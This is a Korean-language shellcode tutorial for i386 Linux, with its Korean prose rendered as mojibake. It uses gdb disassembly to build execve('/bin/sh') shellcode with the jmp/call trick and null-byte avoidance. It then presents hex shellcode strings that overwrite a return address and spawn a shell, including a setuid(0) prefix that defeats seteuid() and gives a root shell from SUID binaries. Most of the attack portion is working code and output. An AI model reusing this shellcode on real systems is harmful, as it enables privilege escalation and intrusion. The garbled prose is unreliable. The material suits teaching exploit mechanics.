gcc¿Í gdb¸¦ ÀÌ¿ëÇÏ¿© ¾ÕÀå¿¡¼­ ÇÁ·Î±×·¡¹ÖÇÑ°Í¿¡ ÇØ´çÇÏ´Â assembly instructionÀ» ¾òÀ» ¼ö ÀÖ´Ù. shellcode3.c¸¦ µð¹ö±ë¿É¼Ç(-g)°ú °øÀ¯¶óÀ̺귯¸®¸¦ Æ÷ÇÔÇϱâ À§ÇÑ ¿É¼Ç(--static) À» Ãß°¡ÇÏ¿© ÄÄÆÄÀÏÇÑ´Ù. À̸¦ ÅëÇÏ¿©, ¿ì¸®´Â system-callÀÎ _execve()¿Í _exit()ÀÇ µ¿ÀÛÀ» ÀÌÇØÇÒ ¼ö ÀÖ´Â ÃæºÐÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Ù.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
´ÙÀ½À¸·Î, gdb¸¦ »ç¿ëÇÏ¿© ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带 »ìÆ캼 °ÍÀÌ´Ù. ÀÌ°ÍÀº InterÇ÷§ÆûÀÇ linux¿¡¼­ Å×½ºÆ® ÇÑ°ÍÀÌ´Ù.(i386°ú ±× À§ÀÇ ¹öÀü) Next, with gdb, we look for our functions Assembly equivalent. This is for Linux on Intel platform (i386 and up).
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
¾Æ·¡´Â main()ÇÔ¼öÀÇ ¾î¼Àºí¸® ÄÚµåÀÌ´Ù.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
(gdb)
À§ÀÇ ¿¹¸¦ ÅëÇØ,main()ÇÔ¼öÀÇ 0x804818b¿Í 0x8048192 ¿¡¼­ ½ÇÁ¦ÀûÀÎ system-callÀ» °¡Áö°í ÀÖ´Â C library subroutineÀ» È£ÃâÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù.0x804817c : mov $0x8071ea8,%edx¸í·É¾î´Â ÁÖ¼Òó·³ º¸ÀÌ´Â °ªÀ» %edx¿¡ ä¿î´Ù. ÀÌ ÁÖ¼Ò¿¡ ÀÖ´Â ³»¿ëÀ» ¾Æ·¡ ¸í·ÉÀ» »ç¿ëÇÏ¿© ¹®ÀÚ¿­·Î ³ªÅ¸³»º¸ÀÚ:
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
ÀÌÁ¦ ¿ì¸®´Â ¹®ÀÚ¿­ÀÌ ¾îµð¿¡ ÀÖ´ÂÁö ¾Ë¾Ò´Ù.ÀÌÁ¦ execve()ÇÔ¼ö¿Í _exit()ÇÔ¼öÀÇ disassemble Äڵ带 »ìÆ캸ÀÚ:
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
½ÇÁ¦ Ä¿³Î È£ÃâÀº 0x80interrupt¸¦ ÅëÇØ ÀÌ·ç¾îÁø´Ù. execve()ÇÔ¼ö´Â0x804d9d0, _exit() ÇÔ¼ö´Â 0x804d99b¿¡¼­ interrupt¿äûÀÌ ÀÌ·ç¾îÁø´Ù. À̺κп¡¼­ ¾Ë ¼ö ÀÖ´Â Áß¿äÇÑ »çÇ×Àº °¢Á¾ system-callÀÌ %eax¾È¿¡ ±× ³»¿ëÀÌ ÀúÀåµÇ´Â °øÅëÀûÀΠƯ¡À» °¡Áö°í ÀÖ´Ù´Â °ÍÀÌ´Ù.À§ÀÇ ¿¹¸¦ ÅëÇØ, execve()´Â 0x0B¶ó´Â °ªÀ», _exit()´Â 0x01À̶ó´Â °ªÀ» °¡Áö°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù.

Diag. 4 : parameters of the execve() function
parameters of the execve() function

ÀÌ·¯ÇÑ ÇÔ¼öµéÀÇ ¾î¼Àºí¸® ¸í·É¾îµéÀ» ºÐ¼®Çغ¸¸é, ÀÎÀÚµéÀÌ ¾î¶»°Ô ÀúÀåµÇ´ÂÁö¸¦ ¾Ë ¼ö ÀÖ´Ù:

¿ì¸®´Â ¹®ÀÚ¿­ "/bin/sh"°ú ÀÌ ¹®ÀÚ¿­À» °¡¸®Å°´Â Æ÷ÀÎÅÍ, ±×¸®°í NULLÆ÷ÀÎÅÍ°¡ ÇÊ¿äÇÏ´Ù(¸í·É¿¡ ´ëÇÑ Àμö·Î ¾Æ¹«°Íµµ ÁÖÁö ¾Ê¾Ò°í, ȯ°æ¶ÇÇÑ ¼±¾ðÇÏÁö ¾Ê¾Ò±â ¶§¹®ÀÌ´Ù.).¿ì¸®´Â execve() È£ÃâÀü¿¡ °¡´ÉÇÑ µ¥ÀÌÅÍ Ç¥ÇöÀ» ¾Ë ¼ö ÀÖ´Ù. NULL Æ÷ÀÎÅÍ°¡ µÚµû¸£¸ç, ¹®ÀÚ¿­/bin/shÀ» Àμö·Î °®´Â Æ÷ÀÎÅÍÀÇ ¹è¿­À» ¸¸µé°í, %ebxÀº ¹®ÀÚ¿­À» °¡¸£Å°°í,%ecxÀº ¹è¿­ Àüü¸¦,%edx´Â ¹è¿­ÀÇ µÎ¹ø° ÀÎÀÚÀÎ NULLÀ» °¡¸£Å°°Ô Ç϶ó. ÀÌ°ÍÀ» ±×¸²À¸·Î ³ªÅ¸³»¸é diag. 5¿Í °°´Ù.

Diag. 5 : data representation relative to registers
data
 

Locating the shellcode within memory

vulnerableÇÑ ÇÁ·Î±×·¥¿¡ shellcode¸¦ ³Ö´Â ÀϹÝÀûÀÎ ¹æ¹ýÀº shellcode¸¦ Á¤ÇüÈ­µÈ ¹®ÀÚ¿­À̳ª ȯ°æº¯¼ö·Î ¼±¾ðÇÏ¿© ÇÁ·Î±×·¥ ½ÇÇà½Ã ÇÁ·Î±×·¥ÀÇ Àμö·Î ÁÖ´Â °ÍÀÌ´Ù. ¿ì¸®´Â shellcode¸¦ ¸¸µé¾úÁö¸¸ ÀÌ°ÍÀ» »ç¿ëÇϱâ À§ÇØ ÇÊ¿äÇÑ shellcodeÀÇ ÁÖ¼Ò¸¦ ¸ð¸£°í ÀÕ´Ù. À̸»Àº °á±¹, "/bin/sh" ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ¾ß ÇÑ´Ù´Â ¸»ÀÌ´Ù. ¿ì¸®´Â ÀÌ ÁÖ¼Ò¸¦ ¾ò±â À§ÇØ ¾à°£ÀÇ ¼ÓÀÓ¼ö(trick)¸¦ ¾µ ¼ö ÀÖ´Ù.

call¸í·ÉÀ¸·Î subroutine(ÇÔ¼ö¶ó°í ÀÌÇØÇÏ¸é µÈ´Ù.)À» È£ÃâÇßÀ» ¶§,CPU´Â ½ºÅÿ¡ return address¸¦ ÀúÀåÇÑ´Ù. ÀÌ address´Â ¾ÕÀÇ ±Û¿¡¼­ »ìÆ캻 ¹Ù¿Í °°ÀÌ call ¸í·É ¹Ù·Î µÚ¸¦ µû¸¥´Ù. ÀϹÝÀûÀ¸·Î,ÀÌ ´ÙÀ½´Ü°è¿¡¼­´Â stackÀÇ »óŸ¦ ÀúÀåÇÏ´Â µ¿ÀÛÀÌ ÀϾ´Ù (push %ebp¸í·É).µû¶ó¼­ subroutine¿¡ µé¾î°¥¶§ pop ¸í·ÉÀ» »ç¿ëÇÑ´Ù¸é return address¸¦ ¾òÀ» ¼ö ÀÖ´Ù.(popÀº unstackµ¿ÀÛÀ» ÇÑ´Ù.) ¹°·Ð, ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ Á¦°øÇÒ "home made prolog"¸¦ À§Çؼ­ call¸í·É¾î ¹Ù·Î µÚ¿¡ "/bin/sh"¹®ÀÚ¿­À» ÀúÀåÇÑ´Ù:

 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...
 subroutine_call:
    call subroutine
    /bin/sh

subroutineÀÌ ½ÇÁ¦·Î ÀÖ´Â °ÍÀº ¾Æ´Ï´Ù. ¿©±â¿¡¼­´Â execve() ÀÇ È£ÃâÀÌ ¼º°øÇϸé ÇÁ·Î¼¼½º´Â shell·Î ´ëüµÉ °ÍÀ̸ç, È£ÃâÀÌ ½ÇÆÐÇÑ´Ù¸é _exit()°¡ ÇÁ·Î±×·¥À» Á¾·á½Ãų °ÍÀÌ´Ù. %esi´Â "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ¿ì¸®¿¡°Ô ¾Ë·ÁÁØ´Ù. ÀÌÁ¦´Â ´ÜÁö ¹®ÀÚ¿­ µÚ¿¡ ÀÌ ÁÖ¼Ò¸¦ ³Ö±â¸¸ ÇÏ¸é µÈ´Ù. ¾Æ·¡ ±×¸²¿¡¼­ º¸µíÀÌ Ã¹¹ø° ¿ä¼Ò´Â %esiÀÇ °ªÀ» °¡Áö°í ÀÖ´Ù.(first itemÀº %esi+8ÀÇ À§Ä¡¿¡ Á¸ÀçÇϸç, ¿©±â¼­ 8Àº /bin/shÀÇ ±æÀÌ¿¡ null byte¸¦ ÇÕÄ£ °ÍÀÌ´Ù.) µÎ¹ø° ¿ä¼Ò´Â%esi+12¿¡ null address·Î Á¸ÀçÇÑ´Ù(32bit). ÀÌ°ÍÀÇ ÄÚµå´Â ´ÙÀ½°ú °°´Ù:

    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

diagram 6Àº À̸¦ ±×¸²À¸·Î Ç¥ÇöÇÑ °ÍÀÌ´Ù:

Diag. 6 : data array
data area
 

The null bytes problem

ÀÌ·¯ÇÑ Ãë¾àÁ¡Àº strcpy()ÇÔ¼ö°°Àº ¹®ÀÚ¿­À» ´Ù·ç´Â ÇÔ¼ö¿¡¼­ Á¾Á¾ ¹ß°ßµÈ´Ù. °ø°ÝÇÒ ÇÁ·Î±Û¸ÅÀÇ Áß°£¿¡ Äڵ带 »ðÀÔÇϱâ À§Çؼ­, shellcode¸¦ ¹®ÀÚ¿­Ã³·³ º¹»çÇØ¾ß ÇÑ´Ù. ±×·¯³ª ¹®Á¦´Â ¹®ÀÚ¿­À» º¹»çÇÏ´Â ÇÔ¼öµéÀÌ null¹®ÀÚ¸¦ ¹ß°ßÇÏ¸é °ð¹Ù·Î º¹»ç¸¦ ¸ØÃá´Ù´Â µ¥ ÀÖ´Ù. µû¶ó¼­ ¿ì¸®°¡ ¸¸µç Äڵ忡´Â ÀÌ·¯ÇÑ null¹®ÀÚ°¡ À־´Â ¾ÈµÈ´Ù. ¸î°¡Áö ±â¼úÀ» »ç¿ëÇÏ¿© ÀÌ·¯ÇÑ null byte¹®Á¦¸¦ ÇÇÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î, ´ÙÀ½ÀÇ ¸í·É¾î´Â

    movl $0x00, 0x0c(%esi)

¾Æ·¡ÀÇ ¸í·É¾î·Î ´ëüÇÒ ¼ö ÀÖ´Ù.
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

À§ÀÇ ¿¹´Â null byte¸¦ »ç¿ëÇÏ´Â ¹æ¹ýÀ» º¸¿©ÁÖ°í ÀÖ´Ù. ±×·¯³ª ¾î¶² ¸í·É¾îÀÇ °æ¿ì hex°ªÀ¸·Î º¯È¯½ÃÄѺ¸¸é ÀÌ·¯ÇÑ null byte°¡ ¹ß°ßµÈ´Ù. ¿¹¸¦ µé¾î, _exit(0)system-callÀ̳ª ´Ù¸¥ ÇÔ¼ö¿¡¼­µµ ÀÌ·¯ÇÑ Çö»óÀÌ ³ªÅ¸³­´Ù. %eax¿¡ 1À̶õ °ªÀ» ³Ö±â À§ÇØ _exit()¿¡¼­ ´ÙÀ½ÀÇ ¸í·É¾î¸¦ »ç¿ëÇÏ¿´´Ù.
0x804d996 <_exit+6>: mov $0x1,%eax
ÀÌ°ÍÀ» hex°ªÀ¸·Î º¯È¯ÇÏ¸é ´ÙÀ½°ú °°´Ù:
 b8 01 00 00 00          mov    $0x1,%eax
¿ì¸®´Â À§¿Í °°Àº »óȲÀ» ÇÇÇØ¾ß ÇÑ´Ù. À̸¦ ÇØ°áÇÏ´Â ¹æ¾ÈÀ¸·Î´Â %eax¿¡ 0À̶õ °ªÀ» ³Ö°í³ª¼­ ÀÌ°ÍÀ» Áõ°¡½ÃÅ°´Â °ÍÀÌ ÀÖ´Ù.

¹Ý¸é¿¡ ¹®ÀÚ¿­ "/bin/sh"Àº ¹Ýµå½Ã null byte·Î ³¡³ª¾ß ÇÑ´Ù. shellcodeÀÛ¼º½Ã ÀÌ·¸°Ô ¸¸µé ¼ö ÀÖÁö¸¸, ÇÁ·Î±×·¥¾È¿¡ »ðÀÔÇÏ´Â ¹æ¹ý¿¡ µû¶ó null byte°¡ ¸¶Áö¸· ÇÁ·Î±×·¥(final application)¿¡ ³ªÅ¸³ªÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù. "/bin/sh"¿¡ null byte¸¦ ³Ö±âÀ§ÇÑ ÁÁÀº ¹æ¹ýÁß¿¡ Çϳª¸¦ ¾Æ·¡¿¡ ¼Ò°³ÇÑ´Ù:

    /* movb´Â ¿ÀÁ÷ ÇÑ byte¸¸ ¿òÁ÷ÀδÙ. */
    /* ¾Æ·¡ÀÇ ¸í·ÉÀº ´ÙÀ½ ¸í·É°ú °°´Ù. */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

 

Building the shellcode

ÀÌÁ¦ shellcode¸¦ ¸¸µé±â À§ÇÑ ¸ðµç Áغñ°¡ ³¡³µ´Ù. ¾Æ·¡´Â ¾Õ¿¡¼­ ¾ð±ÞÇÑ ³»¿ëµéÀ» Àû¿ë½ÃÄѼ­ ¸¸µç shellcode4.cÀÌ´Ù:

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* /bin/sh ÁÖ¼Ò¸¦ ¾ò´Â´Ù.*/
        popl %esi
    /* ¹è¿­ÀÇ Ã¹¹ø° ¿ä¼ÒÀÎ ÀÌ ÁÖ¼Ò¸¦ ³Ö´Â´Ù. */
        movl %esi,0x8(%esi)
    /* ¹è¿­ÀÇ µÎ¹ø° ¿ä¼ÒÀÎ NULLÀ» ³Ö´Â´Ù. */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* ¹®ÀÚ¿­ÀÇ ³¡¿¡ null byte¸¦ ³Ö´Â´Ù. */
        movb %eax,0x7(%esi)
    /* execve() ÇÔ¼ö */
        movb $0xb,%al
    /* %ebx¾È¿¡ ½ÇÇà½Ãų ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ ³Ö´Â´Ù. */
        movl %esi, %ebx
    /* %ecx¾È¿¡ ¹è¿­À» ³Ö´Â´Ù. */
        leal 0x8(%esi),%ecx
    /* %edx¾È¿¡ ¹è¿­ÀÇ È¯°æÀ» ³Ö´Â´Ù. */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* NullÀ» µ¹·ÁÁÖ´Â ÄÚµå*/
        xorl %ebx,%ebx
    /*  _exit() ÇÔ¼ö : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

"gcc -o shellcode4 shellcode4.c"¸í·ÉÀ¸·Î Äڵ带 ÄÄÆÄÀÏ Ç϶ó. (¿ªÀÚÁÖ: ÀÌ´ë·Î ÄÄÆÄÀÏÇÏ¸é ¿¡·¯¸¸ ¹ß»ýÇÏ°í ÄÄÆÄÀÏ µÇÁö ¾Ê´Â´Ù. subroutine_call¿¡ Àû´çÇÑ °ªÀ» ³Ö¾îÁÖ¸é À̸¦ ÇÇÇÒ ¼ö ÀÖ´Ù. ex> jmp subroutine_call -> jmp 0x1f subroutine_call -> call -0x24). "objdump --disassemble shellcode4"¸í·ÉÀº ½ÇÇàÆÄÀϳ»¿¡ null byte°¡ Á¸ÀçÇÏÁö ¾ÊÀ½À» È®ÀνÃÄÑÁÙ °ÍÀÌ´Ù:

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

ºñ·Ï ¸í·É¾î·Î Ç¥ÇöµÇÁö´Â ¾Ê¾ÒÁö¸¸, ¹®ÀÚ¿­ "/bin/sh" (hex°ªÀ¸·Î 2f 62 69 6e 2f 73 68 00À¸·Î Ç¥ÇöµÈ´Ù.)°ú ¸î¸î ¹ÙÀÌÆ®·Î ±¸¼ºµÈ data¸¦ 804831cÁÖ¼Ò µÚ¿¡¼­ ¹ß°ßÇÒ ¼ö ÀÖ´Ù. 80483c8¿¡ ÀÖ´Â ¹®ÀÚ¿­ÀÇ ³¡À» ³ªÅ¸³»´Â null¹®ÀÚ¸¦ Á¦¿ÜÇÏ°í, ÄÚµåÀÇ ¾îµð¿¡µµ zero´Â Á¸ÀçÇÏÁö ¾Ê´Â´Ù.

ÀÌÁ¦ ÀÌ ÇÁ·Î±×·¥À» Å×½ºÆ® Çغ¸ÀÚ:

$ ./shellcode4
Segmentation fault (core dumped)
$

Å×½ºÆ® °á°ú¸¦ ÅëÇØ, ÀÌ ÇÁ·Î±×·¥ÀÌ ¾ÆÁ÷ ÀÚ½ÅÀÇ ¿ªÇÒ(shellÀ» ½ÇÇà½ÃÅ°´Â °Í)À» ÃæºÐÈ÷ ¼öÇàÇÏÁö ¸øÇÑ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ÁÖÀDZí°Ô »ìÆ캸¸é main() ÇÔ¼ö°¡ À§Ä¡ÇÏ´Â °÷ÀÌ read-only¿µ¿ª(À̱ÛÀÇ Á¦ÀÏ ¾Õ¿¡¼­ ¾ð±ÞÇÑ text¿µ¿ª À» ¸»ÇÑ´Ù.)À̶ó´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖÀ» °ÍÀÌ´Ù. shellcode¶ÇÇÑ ÀÌ¿µ¿ªÀÇ ³»¿ëÀ» ¹Ù²Ü ¼ö ¾ø´Ù. ¾î¶»°Ô ÇÏ¸é ¿ì¸®°¡ ¸¸µç shellcode¸¦ Å×½ºÆ®ÇÒ ¼ö ÀÖÀ»±î?

read-only¹®Á¦¸¦ ÇÇÇØ°¥ ¼ö ÀÖ´Â ¹æ¹ýÀ¸·Î shellcode¸¦ data¿µ¿ª¿¡ ³Ö´Â ¹æ¹ýÀÌ ÀÖ´Ù. shellcode¸¦ Àü¿ªº¯¼ö ¹è¿­·Î ¼±¾ðÇÏÀÚ. ¿©±â¿¡ ¶Ç´Ù¸¥ ±â¼úÀ» ´õÇÏ¿© shellcode¸¦ ½ÇÇà½Ãų ¼ö ÀÖ´Ù. ½ºÅþȿ¡¼­ shellcode¸¦ °¡Áö°í ÀÖ´Â ¹è¿­ÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ³»¼­, main()ÇÔ¼öÀÇ return address·Î ÀÌ ÁÖ¼Ò¸¦ ³Ö´Â °ÍÀÌ´Ù. main()ÇÔ¼ö°¡ linker¿¡ ÀÇÇØ Ãß°¡µÇ´Â ¸î¸î Äڵ忡 ÀÇÇØ È£ÃâµÇ´Â ±âº»ÀûÀÎ ·çƾ("standard" routine)ÀÓÀ» ÀØÁö ¸»¶ó. ¾Æ·¡¿¹Á¦¿¡¼­´Â ½ºÅÃÀÇ Ã³À½ À§Ä¡¿¡¼­ µÎ°³ÀÇ ¹®ÀÚ ¹è¿­¸¸Å­ÀÇ °ø°£¸¸ µ¤¾î¾²¸é return address¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ´Ù.

  /* shellcode5.c */

  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 ´Â ½ºÅÃÀÇ ÃÖ»óÀ§(top)·ÎºÎÅÍ */
      /*  2 words(8 bytes) offset ¿ªÇÒÀ» ÇÒ °ÍÀÌ´Ù. */
      /*  ù¹ø° word´Â Áö¿ªº¯¼ö¸¦ À§ÇÑ °ø°£À̸ç, */
      /*  µÎ¹ø° word´Â ÀúÀåµÈ %ebp(=sfp)ÀÇ °ø°£ÀÌ´Ù. */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

ÀÌÁ¦ ¿ì¸® ÇÁ·Î±×·¥À» Å×½ºÆ®Çغ¸ÀÚ:

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

¿ì¸®´Â ´ÜÁö ÇÁ·Î±×·¥ shellcode5¸¦ Set-UID root·Î ¼³Á¤ÇÏ°í, ÀÌÇÁ·Î±×·¥À» ½ÇÇà½ÃÄ×À» ¶§ root ±ÇÇÑÀ¸·Î ¹Ù²î´Â°Í¸¸ È®ÀÎÇغ¸¸é µÈ´Ù:

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

 

Generalization and last details

ÀÌ shellcode´Â ´Ù¼Ò Á¦ÇÑÀûÀÌ´Ù(¹°·Ð, ¸îbyteÀÇ ¹®Á¦À̱ä ÇÏÁö¸¸). ¾Æ·¡ÀÇ ÇÁ·Î±×·¥À» ¿¹·Î µéÀÚ¸é:

  /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
ÀÌ ÇÁ·Î±×·¥Àº Áö³­¹ø ±Û¿¡¼­ ÃßõÇß´ø ¹æ½Äó·³, ÇÁ·Î¼¼½ºÀÇ ½ÇÁ¦UID°ªÀ» ¾ò¾î¼­ effective UID¸¦ ÁöÁ¤ÇÏ¿´´Ù. ÀÌ·± ÇÁ·Î±×·¥¿¡¼­´Â shellÀÌ ½ÇÇàµÉ ¶§ Ưº°ÇÑ ±ÇÇÑÀ» °®Áö ¾Ê°í ½ÇÇàµÈ´Ù:
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

±×·¯³ª, seteuid(getuid())¸í·ÉÀº ±×¸® È¿°úÀûÀÎ ¹æ¾îÃ¥ÀÌ µÇÁö ¸øÇÑ´Ù. ÀÌ´Â °£´ÜÈ÷ setuid(0)À» È£ÃâÇÏ´Â °ÍÀ¸·Î ÇØ°áµÇ´Âµ¥, setuid(0);Àº shellcodeÀÇ ¾ÕºÎºÐ¿¡¼­ S-UIDÇÁ·Î±×·¥ÀÇ EUID¸¦ Á¦ÀÏ ³·Àº 0À¸·Î ¼³Á¤ÇÏ´Â °Í°ú °°Àº È¿°ú¸¦ °®´Â´Ù.

ÀÌ ¸í·É¾îÀÇ ÄÚµå´Â ´ÙÀ½°ú °°´Ù:

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

À§ÀÇ Äڵ带 ¾ÕÀÇ shellcode¿Í Á¶ÇÕÇÏ¿© º¸ÀÚ:
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
ÀÌ°ÍÀÌ Á¦´ë·Î µ¿ÀÛÇÏ´ÂÁö Å×½ºÆ® Çغ¸ÀÚ.
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

ÀÌÀåÀÇ ¸¶Áö¸·¿¡ ³ª¿À´Â ¿¹´Â shellcode¸¦ ÇÔ¼ö¿¡ »ðÀÔÇϴ°ÍÀÌ °¡´ÉÇÏ´Ù´Â °ÍÀ» º¸¿©ÁØ´Ù. ¿¹¸¦ µé¾î, chroot()°¡ ¼³Á¤µÈ µð·ºÅ丮¸¦ ºüÁ®³ª¿À´Â °ÍÀ̶ó´ø°¡, socketÀ» »ç¿ëÇÏ¿© remote shellÀ» ¶ç¿ì´Â ÀϵîÀÌ ÀÖ´Ù.

ÀÌ·¯ÇÑ shellcodeÀÇ º¯ÇüÀº ±×µéÀÌ »ç¿ëµÇ´Â ¸ñÀû¿¡ µû¶ó shellcode¾È¿¡¼­ ¸îbyteÀÇ °ªÀ» ¸ñÀû¿¡ ¸Â°Ô °íÃÄÁà¾ß ÇÑ´Ù´Â Àǹ̸¦ ³»Æ÷ÇÏ°í ÀÖ´Ù:

eb XX <subroutine_call> XX = <subroutine_call>±îÁöÀÇ bytes¼ö
<subroutine>:
5e popl %esi
